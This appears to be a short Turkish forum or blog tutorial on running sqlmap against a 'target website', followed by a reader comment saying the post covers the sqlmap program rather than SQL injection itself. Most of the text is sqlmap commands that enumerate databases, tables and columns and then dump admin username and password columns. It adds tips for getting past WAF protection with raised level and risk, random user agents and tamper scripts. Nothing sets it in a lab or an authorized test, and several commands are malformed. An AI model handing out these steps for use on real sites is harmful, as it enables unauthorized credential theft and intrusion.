Basit Kullanım Örnekleri
İlk olarak, bazı basit parametrelerin kullanımına dair örneklerle başlayalım. Bilindiği üzere en yaygın kullanılan sqlmap parametresi URL’i ifade eden -u ya da --url parametresidir. Aşağıdaki kullanımda da görüldüğü üzere sqlmap’e hedef sitenin URL’ini tanıtır:
Bu komut sonucunda, eğer taratılmasını istediğimiz URL’de SQL Injection zafiyeti mevcutsa, zafiyetin türü, hangi DBMS (Database Management System)’in kullanıldığı, web uygulama dili ve sunucu versiyonu gibi bazı bilgilere ulaşmamız mümkün olacaktır. Devamında SQL Injection’ın var olduğunu öğrendiğimiz URL vasıtasıyla saldırıya --dbs parametresini ekleyerek mevcut veri tabanlarının listesini ekrana getirebiliriz:
sqlmap -u “Hedef Web Site --dbs
mevcut veri tabanlarının listesini elde etmiş olduk. Bundan sonra, sırayla tabloları, kolonları ve kayıtları aşağıdaki parametreleri kullanmamız gerekiyor:
sqlmap -u “Hedef Web Site -D testsparker --tables
sqlmap -u “Hedef Web Site -D testsparker -T tablo --columns
sqlmap -u “http://Hedef Web Site” -D testsparker -T tablo -C kullanici admin,parola admin --dump
-D: Bu parametre ile veri tabanı adını belirtmiş olduk. --tables: Belirttiğimiz veri tabanındaki tablo isimlerini getirmek için bu parametre kullanılır. -T: Tablo isimleri de alındıktan sonra kolonlarına ulaşılması istenen tablo adı bu parametre ile birlikte yazılır. --columns: Adı belirtilen tablodaki kolonlar getirilir. -C: İstenilen kolon adı yazılır. --dump: Kolonlarda yer alan veriler ekrana yansıtılır.
Eger Böyle Bir Hata Alırsanız.
[CRITICAL] all tested parameters do not appear to be injectable. Try to increase values for '--level'/'--risk' options if you wish to perform more tests. If you suspect that there is some kind of protection mechanism involved (e.g. WAF) maybe you could try to use option '--tamper' (e.g. '--tamper=space2comment')
Yapmanız Gerekenler: --level=5 --risk=3 yani sistem level ve risk i otomatik 1 degeri veriyor bizler bu degerleri yükseltiyoruz.
--random-agent komutunu giriyoruz.
ve çeşitli "tamper" parametrelerini kullanıyoruz. Bu parametreleri Sqlmap dosyası içerisinde tamper dosyasından bulabilir.
örnek: --tamper=base64encode bu şekilde farklı faklı tamperler girebiliriz.
Tüyo: Tek tire (-) veya çift tire (--) kullanıldığında parametre ile parametrenin aldığı değer arasında boşluk ya da eşittir işaretinden (=) hangisinin kullanılması gerektiğini karıştırıyorsanız tek tireli parametrelerde boşluğun, çift tireli parametrelerde ise değer girilmeden önce eşittir işaretinin kullanıldığını aklınızda tutabilirsiniz.
devrem bu sqlinjection deil sqlmap programını yazmışsın yanlış bir anlam çıkmış ortaya